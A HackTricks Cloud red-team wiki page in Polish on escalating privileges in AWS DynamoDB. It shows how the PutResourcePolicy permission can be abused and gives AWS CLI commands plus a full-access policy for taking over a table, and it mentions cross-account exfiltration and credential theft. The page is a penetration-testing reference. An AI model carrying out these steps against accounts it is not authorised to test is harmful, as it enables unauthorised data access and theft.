AWS - DynamoDB Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
dynamodb
Więcej informacji o dynamodb znajdziesz:
dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy
Od marca 2024 AWS oferuje polityki oparte na zasobach dla DynamoDB (AWS News).
Tak więc, jeśli masz uprawnienie dynamodb:PutResourcePolicy do tabeli, możesz po prostu przyznać sobie lub dowolnemu innemu principal pełny dostęp do tej tabeli.
Przyznanie dynamodb:PutResourcePolicy przypadkowemu principal często zdarza się przez pomyłkę, jeśli administratorzy myślą, że przyznanie dynamodb:Put* pozwoli tylko na wstawianie elementów do bazy — albo jeśli przyznali ten zestaw uprawnień przed marcem 2024…
Idealnie, powinieneś mieć także dynamodb:GetResourcePolicy, dzięki czemu nie nadpiszesz innych potencjalnie istotnych uprawnień, a jedynie dodasz potrzebne uprawnienia:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Jeśli nie możesz pobrać bieżącej polityki, użyj tej, która przyznaje twojemu principalowi pełny dostęp do tabeli:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Jeśli musisz to dostosować, oto lista wszystkich możliwych akcji DynamoDB: AWS Documentation. A tutaj jest lista wszystkich akcji, które mogą być dozwolone za pomocą resource based policy ORAZ które z nich można użyć cross-account (think data exfiltration!): AWS Documentation
Teraz, mając przygotowany dokument polityki policy.json, umieść resource policy:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Teraz powinieneś mieć potrzebne uprawnienia.
Post Exploitation
Z tego co wiem nie istnieje inny bezpośredni sposób eskalacji uprawnień w AWS tylko mając pewne uprawnienia do AWS dynamodb. Możesz odczytać wrażliwe informacje z tabel (które mogą zawierać poświadczenia AWS) oraz zapisywać informacje w tabelach (co może wywołać inne podatności, takie jak lambda code injections…) ale wszystkie te opcje zostały już omówione na DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Read data abusing data Streams
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

